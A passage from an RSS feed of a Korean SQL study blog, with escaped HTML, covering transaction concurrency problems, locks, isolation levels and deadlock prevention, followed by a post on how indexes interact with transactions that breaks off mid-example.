COMMIT;  -- 락 해제

-- 트랜잭션 B
BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001' FOR UPDATE;
-- 대기 (트랜잭션 A가 커밋할 때까지)
-- 트랜잭션 A 커밋 후 실행
UPDATE 상품 SET 가격 = 19000 WHERE 상품번호 = 'P001';
COMMIT;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;데이터베이스 레벨 해결&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 적절한 격리 수준 설정&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;-- 애플리케이션 요구사항에 맞는 격리 수준 선택
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 인덱스 최적화&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인덱스를 적절히 사용하여 락 범위를 최소화합니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 인덱스가 있으면 특정 행만 락
CREATE INDEX idx_상품번호 ON 상품(상품번호);

UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 인덱스를 사용하여 특정 행만 락 (테이블 전체 락 아님)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;요약&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;동시성 이슈&lt;/b&gt;는 여러 트랜잭션이 동시에 같은 데이터에 접근할 때 발생하는 데이터 일관성 문제입니다. Lost Update, Dirty Read, Non-Repeatable Read, Phantom Read 등의 문제가 발생할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Lost Update&lt;/b&gt;는 두 트랜잭션이 동시에 같은 데이터를 수정할 때 하나의 변경사항이 손실되는 문제입니다. 배타 락이나 낙관적 락을 사용하여 해결할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Dirty Read&lt;/b&gt;는 커밋되지 않은 데이터를 읽는 문제입니다. READ COMMITTED 격리 수준을 사용하여 해결할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Non-Repeatable Read&lt;/b&gt;는 같은 트랜잭션 내에서 같은 쿼리를 반복 실행했을 때 다른 결과가 나오는 문제입니다. REPEATABLE READ 격리 수준을 사용하여 해결할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Phantom Read&lt;/b&gt;는 트랜잭션 중에 새로운 행이 추가되거나 삭제되어 결과 집합이 달라지는 문제입니다. SERIALIZABLE 격리 수준을 사용하여 해결할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;락 메커니즘&lt;/b&gt;은 공유 락(읽기)과 배타 락(쓰기)을 사용하여 동시성 제어를 수행합니다. 락의 범위는 행 락, 테이블 락, 인덱스 락 등이 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데드락&lt;/b&gt;은 두 트랜잭션이 서로의 락을 기다리며 무한 대기하는 상태입니다. 락 순서를 일관되게 유지하거나 타임아웃을 설정하여 예방할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;격리 수준&lt;/b&gt;은 동시성과 일관성 사이의 트레이드오프를 결정합니다. 애플리케이션의 요구사항에 맞는 적절한 격리 수준을 선택하는 것이 중요합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 자료&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/ACID&quot;&gt;ACID Properties - Wikipedia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sql/odbc/reference/develop-app/transaction-isolation-levels&quot;&gt;Transaction Isolation Levels - Microsoft&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforge.org/concurrency-control-in-dbms/&quot;&gt;Database Concurrency Control - GeeksforGeeks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예상 꼬리질문 정리&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 동시성 이슈를 완전히 해결할 수 있나?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;완전한 해결의 트레이드오프:&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동시성 이슈를 완전히 해결하려면 SERIALIZABLE 격리 수준을 사용해야 하지만, 이는 성능 저하를 수반합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SERIALIZABLE의 문제점:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모든 트랜잭션이 순차적으로 실행됨&lt;/li&gt;
&lt;li&gt;동시성 크게 저하&lt;/li&gt;
&lt;li&gt;데드락 가능성 증가&lt;/li&gt;
&lt;li&gt;성능 저하&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실무 권장:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;대부분의 경우 READ COMMITTED로 충분&lt;/li&gt;
&lt;li&gt;필요한 경우에만 REPEATABLE READ 사용&lt;/li&gt;
&lt;li&gt;SERIALIZABLE은 최후의 수단&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. Lost Update와 Dirty Read의 차이는?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Lost Update:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;두 트랜잭션이 동시에 &lt;b&gt;수정&lt;/b&gt;할 때 발생&lt;/li&gt;
&lt;li&gt;하나의 변경사항이 손실됨&lt;/li&gt;
&lt;li&gt;UPDATE 작업에서 발생&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Dirty Read:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한 트랜잭션이 &lt;b&gt;수정&lt;/b&gt;하고 다른 트랜잭션이 &lt;b&gt;읽을&lt;/b&gt; 때 발생&lt;/li&gt;
&lt;li&gt;커밋되지 않은 데이터를 읽음&lt;/li&gt;
&lt;li&gt;SELECT 작업에서 발생&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 차이:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Lost Update: 쓰기-쓰기 충돌&lt;/li&gt;
&lt;li&gt;Dirty Read: 쓰기-읽기 충돌&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. Non-Repeatable Read와 Phantom Read의 차이는?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Non-Repeatable Read:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;기존 행의 값&lt;/b&gt;이 변경되어 같은 쿼리 결과가 달라짐&lt;/li&gt;
&lt;li&gt;같은 행을 다시 읽었을 때 값이 다름&lt;/li&gt;
&lt;li&gt;UPDATE 작업으로 인한 문제&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Phantom Read:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;새로운 행이 추가&lt;/b&gt;되거나 &lt;b&gt;기존 행이 삭제&lt;/b&gt;되어 결과 집합이 달라짐&lt;/li&gt;
&lt;li&gt;행의 개수나 존재 여부가 달라짐&lt;/li&gt;
&lt;li&gt;INSERT/DELETE 작업으로 인한 문제&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- Non-Repeatable Read: 같은 행의 값 변경
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';  -- 18000
-- 다른 트랜잭션이 가격을 20000으로 변경
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';  -- 20000 (다른 값)

-- Phantom Read: 새로운 행 추가
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';  -- 5
-- 다른 트랜잭션이 새 주문 추가
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';  -- 6 (새로운 행)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. 데드락을 어떻게 예방하나?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;데드락 예방 전략:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;락 순서 일관성 유지&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;항상 같은 순서로 락 획득&lt;/li&gt;
&lt;li&gt;예: 항상 상품 &amp;rarr; 주문 순서&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;락 보유 시간 최소화&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;트랜잭션 범위를 최소화&lt;/li&gt;
&lt;li&gt;필요한 작업만 트랜잭션 내에서 수행&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;타임아웃 설정&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;락 대기 시간 제한&lt;/li&gt;
&lt;li&gt;타임아웃 시 롤백하고 재시도&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인덱스 최적화&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스를 사용하여 락 범위 최소화&lt;/li&gt;
&lt;li&gt;불필요한 인덱스 제거&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5. 낙관적 락과 비관적 락의 차이는?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;낙관적 락 (Optimistic Lock):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;락을 먼저 획득하지 않음&lt;/li&gt;
&lt;li&gt;버전 컬럼으로 동시 수정 감지&lt;/li&gt;
&lt;li&gt;충돌 시 재시도&lt;/li&gt;
&lt;li&gt;읽기가 많은 경우에 유리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비관적 락 (Pessimistic Lock):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;락을 먼저 획득&lt;/li&gt;
&lt;li&gt;다른 트랜잭션의 접근 차단&lt;/li&gt;
&lt;li&gt;충돌 방지&lt;/li&gt;
&lt;li&gt;쓰기가 많은 경우에 유리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;선택 기준:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;충돌이 적으면: 낙관적 락&lt;/li&gt;
&lt;li&gt;충돌이 많으면: 비관적 락&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>SQL</category>
      <author>jaemeon</author>
      <guid isPermaLink="true">https://jaemeon.tistory.com/134</guid>
      <comments>https://jaemeon.tistory.com/134#entry134comment</comments>
      <pubDate>Fri, 30 Jan 2026 15:32:28 +0900</pubDate>
    </item>
    <item>
      <title>SQL_23) index 넌 못지 나간다.</title>
      <link>https://jaemeon.tistory.com/133</link>
      <description>&lt;h2&gt;Topic (오늘의 주제)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;트랜잭션(Transaction)&lt;/strong&gt;과 &lt;strong&gt;인덱스(Index)&lt;/strong&gt;는 데이터베이스에서 서로 밀접한 관계를 가집니다. 트랜잭션이 데이터를 변경할 때 인덱스도 함께 업데이트되어야 하며, 인덱스의 존재는 트랜잭션의 성능과 일관성에 직접적인 영향을 미칩니다. 트랜잭션의 ACID 속성을 보장하면서 인덱스를 효율적으로 관리하는 것이 데이터베이스 성능 최적화의 핵심입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;Why (왜 사용하는가? 왜 중요한가?)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;트랜잭션이 데이터를 INSERT, UPDATE, DELETE할 때마다 해당 컬럼에 인덱스가 있다면 인덱스도 함께 업데이트되어야 합니다. 이 과정에서 인덱스의 정렬 상태를 유지하기 위한 추가 작업이 발생하며, 트랜잭션의 성능과 일관성에 영향을 줍니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;인덱스는 트랜잭션의 격리성(Isolation)과 밀접한 관련이 있습니다. 트랜잭션이 인덱스를 사용하여 데이터를 검색할 때, 다른 트랜잭션의 커밋되지 않은 변경사항이 인덱스에 반영되면 Dirty Read나 Phantom Read 같은 동시성 문제가 발생할 수 있습니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;트랜잭션의 롤백 시 인덱스도 함께 롤백되어야 하며, 인덱스의 락(Lock) 메커니즘은 트랜잭션의 동시성 제어에 중요한 역할을 합니다. 인덱스가 많을수록 트랜잭션의 쓰기 성능이 저하되지만, 읽기 성능은 향상되는 트레이드오프를 이해해야 합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;1. 트랜잭션과 인덱스의 기본 관계&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;트랜잭션에서 인덱스의 역할&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;트랜잭션이 데이터를 변경할 때, 해당 컬럼에 인덱스가 있다면 인덱스도 함께 업데이트되어야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 인덱스가 있는 컬럼에 데이터 삽입
CREATE INDEX idx_name ON users(name);

BEGIN TRANSACTION;
    INSERT INTO users (id, name, email)
    VALUES (1, &amp;#39;홍길동&amp;#39;, &amp;#39;hong@example.com&amp;#39;);
    -- 인덱스 idx_name도 함께 업데이트됨
COMMIT;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;동작 과정:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;트랜잭션이 시작됨&lt;/li&gt;
&lt;li&gt;&lt;code&gt;users&lt;/code&gt; 테이블에 데이터 삽입&lt;/li&gt;
&lt;li&gt;&lt;code&gt;idx_name&lt;/code&gt; 인덱스에 (&amp;#39;홍길동&amp;#39;, 레코드 주소) 추가&lt;/li&gt;
&lt;li&gt;인덱스의 B+Tree 구조 유지를 위해 재정렬 작업 수행&lt;/li&gt;
&lt;li&gt;트랜잭션 커밋 시 인덱스 변경사항도 함께 커밋&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;인덱스 업데이트의 원자성 보장&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;트랜잭션의 &lt;strong&gt;원자성(Atomicity)&lt;/strong&gt;에 따라 인덱스 업데이트도 All or Nothing 원칙을 따릅니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;BEGIN TRANSACTION;
    INSERT INTO users (id, name, email)
    VALUES (1, &amp;#39;홍길동&amp;#39;, &amp;#39;hong@example.com&amp;#39;);
    -- 인덱스 업데이트 시작

    -- 오류 발생
    INSERT INTO orders (user_id, amount)
    VALUES (999, 10000);  -- 외래 키 제약조건 위반

    -- 원자성 보장: 인덱스 업데이트도 함께 롤백됨
ROLLBACK;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;핵심:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;테이블 데이터 변경 실패 → 인덱스 업데이트도 롤백&lt;/li&gt;
&lt;li&gt;인덱스 업데이트 실패 → 전체 트랜잭션 롤백&lt;/li&gt;
&lt;li&gt;중간 상태는 존재하지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. 트랜잭션에서 인덱스 업데이트 비용&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;인덱스 업데이트 오버헤드&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;트랜잭션이 데이터를 변경할 때마다 인덱스도 함께 업데이트되어야 하므로 추가 비용이 발생합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;INSERT 시 인덱스 업데이트:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 인덱스: idx_name, idx_email
CREATE INDEX idx_name ON users(name);
CREATE INDEX idx_email ON users(email);

BEGIN TRANSACTION;
    INSERT INTO users (id, name, email)
    VALUES (1, &amp;#39;홍길동&amp;#39;, &amp;#39;hong@example.com&amp;#39;);
    -- 1. 테이블에 데이터 삽입
    -- 2. idx_name 인덱스 업데이트 (B+Tree 재정렬)
    -- 3. idx_email 인덱스 업데이트 (B+Tree 재정렬)
COMMIT;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;비용 분석:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;인덱스 1개: 테이블 삽입 + 인덱스 업데이트 1회&lt;/li&gt;
&lt;li&gt;인덱스 2개: 테이블 삽입 + 인덱스 업데이트 2회&lt;/li&gt;
&lt;li&gt;인덱스 N개: 테이블 삽입 + 인덱스 업데이트 N회&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;UPDATE 시 인덱스 업데이트:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;BEGIN TRANSACTION;
    UPDATE users
    SET name = &amp;#39;김철수&amp;#39;  -- 인덱스 컬럼 변경
    WHERE id = 1;
    -- 1. 기존 인덱스 항목 삭제 (&amp;#39;홍길동&amp;#39;)
    -- 2. 새 인덱스 항목 추가 (&amp;#39;김철수&amp;#39;)
    -- 3. B+Tree 재정렬
COMMIT;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;DELETE 시 인덱스 업데이트:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;BEGIN TRANSACTION;
    DELETE FROM users WHERE id = 1;
    -- 1. 테이블에서 데이터 삭제
    -- 2. 모든 인덱스에서 해당 항목 삭제
    -- 3. B+Tree 재정렬
COMMIT;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;인덱스 개수와 트랜잭션 성능&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;인덱스가 많을수록 트랜잭션의 쓰기 성능이 저하됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;성능 비교:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;인덱스 0개: INSERT 시간 = T
인덱스 1개: INSERT 시간 = T + I (인덱스 업데이트 시간)
인덱스 3개: INSERT 시간 = T + 3I
인덱스 5개: INSERT 시간 = T + 5I&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;트레이드오프:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;인덱스 많음&lt;/strong&gt;: SELECT 빠름, INSERT/UPDATE/DELETE 느림&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;인덱스 적음&lt;/strong&gt;: SELECT 느림, INSERT/UPDATE/DELETE 빠름&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. 트랜잭션 격리성과 인덱스&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;인덱스를 통한 데이터 검색과 격리성&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;트랜잭션이 인덱스를 사용하여 데이터를 검색할 때, 격리 수준에 따라 다른 트랜잭션의 변경사항을 볼 수 있는지가 결정됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;READ UNCOMMITTED와 인덱스:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 트랜잭션 A
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
SELECT * FROM users WHERE name = &amp;#39;홍길동&amp;#39;;
-- 인덱스 idx_name을 사용하여 검색

-- 트랜잭션 B (동시 실행)
BEGIN TRANSACTION;
UPDATE users SET name = &amp;#39;김철수&amp;#39; WHERE name = &amp;#39;홍길동&amp;#39;;
-- 인덱스 업데이트 시작 (아직 커밋 안 함)

-- 트랜잭션 A
SELECT * FROM users WHERE name = &amp;#39;홍길동&amp;#39;;
-- Dirty Read 가능: 커밋되지 않은 인덱스 변경사항을 볼 수 있음&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;READ COMMITTED와 인덱스:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 트랜잭션 A
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;
SELECT * FROM users WHERE name = &amp;#39;홍길동&amp;#39;;
-- 커밋된 데이터만 인덱스에서 읽음

-- 트랜잭션 B
BEGIN TRANSACTION;
UPDATE users SET name = &amp;#39;김철수&amp;#39; WHERE name = &amp;#39;홍길동&amp;#39;;
COMMIT;  -- 인덱스 업데이트 커밋

-- 트랜잭션 A
SELECT * FROM users WHERE name = &amp;#39;홍길동&amp;#39;;
-- 커밋된 변경사항 반영 (Non-Repeatable Read 가능)&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;인덱스 락과 트랜잭션 격리&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;인덱스도 락 메커니즘을 사용하여 트랜잭션의 격리성을 보장합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;인덱스 락의 종류:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;인덱스 키 락 (Key Lock)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;특정 인덱스 키에 대한 락&lt;/li&gt;
&lt;li&gt;해당 키를 사용하는 트랜잭션만 접근 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;갭 락 (Gap Lock)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;인덱스 키 사이의 간격에 대한 락&lt;/li&gt;
&lt;li&gt;Phantom Read 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;넥스트 키 락 (Next-Key Lock)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;인덱스 키 락 + 갭 락&lt;/li&gt;
&lt;li&gt;REPEATABLE READ 격리 수준에서 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 트랜잭션 A (REPEATABLE READ)
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;
SELECT * FROM users WHERE name BETWEEN &amp;#39;가&amp;#39; AND &amp;#39;나&amp;#39;;
-- 인덱스에 넥스트 키 락 설정

-- 트랜잭션 B
BEGIN TRANSACTION;
INSERT INTO users (name) VALUES (&amp;#39;김철수&amp;#39;);
-- &amp;#39;가&amp;#39;와 &amp;#39;나&amp;#39; 사이에 삽입 시도 → 대기 (갭 락으로 인해)

-- 트랜잭션 A
COMMIT;  -- 락 해제

-- 트랜잭션 B 실행 가능&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;4. 트랜잭션 롤백과 인덱스 복구&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;롤백 시 인덱스 복구&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;트랜잭션이 롤백되면 인덱스도 이전 상태로 복구되어야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;롤백 메커니즘:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;BEGIN TRANSACTION;
    INSERT INTO users (id, name, email)
    VALUES (1, &amp;#39;홍길동&amp;#39;, &amp;#39;hong@example.com&amp;#39;);
    -- 인덱스 업데이트 (아직 커밋 안 됨)

    -- 오류 발생
    ROLLBACK;
    -- 1. 테이블 데이터 롤백
    -- 2. 인덱스 변경사항도 롤백
    -- 3. 인덱스가 트랜잭션 시작 전 상태로 복구&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;인덱스 복구 방법:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;언두 로그 (Undo Log) 사용&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;인덱스 변경 전 상태를 언두 로그에 저장&lt;/li&gt;
&lt;li&gt;롤백 시 언두 로그를 사용하여 복구&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;인덱스 변경 지연&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;트랜잭션 커밋 전까지 인덱스 변경을 지연&lt;/li&gt;
&lt;li&gt;커밋 시에만 인덱스 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;롤백 비용과 인덱스&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;인덱스가 많을수록 롤백 비용도 증가합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;롤백 비용:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;인덱스 0개: 롤백 시간 = R
인덱스 1개: 롤백 시간 = R + I (인덱스 복구 시간)
인덱스 3개: 롤백 시간 = R + 3I&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;최적화 전략:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;불필요한 인덱스 제거로 롤백 비용 감소&lt;/li&gt;
&lt;li&gt;트랜잭션 범위 최소화로 롤백 가능성 감소&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;5. 인덱스와 트랜잭션 데드락&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;인덱스로 인한 데드락&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;인덱스가 많을수록 데드락 발생 가능성이 증가합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;데드락 발생 예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 인덱스: idx_name, idx_email
CREATE INDEX idx_name ON users(name);
CREATE INDEX idx_email ON users(email);

-- 트랜잭션 A
BEGIN TRANSACTION;
UPDATE users SET name = &amp;#39;김철수&amp;#39; WHERE email = &amp;#39;hong@example.com&amp;#39;;
-- idx_email 인덱스로 검색 → idx_name 인덱스 업데이트 대기

-- 트랜잭션 B (동시 실행)
BEGIN TRANSACTION;
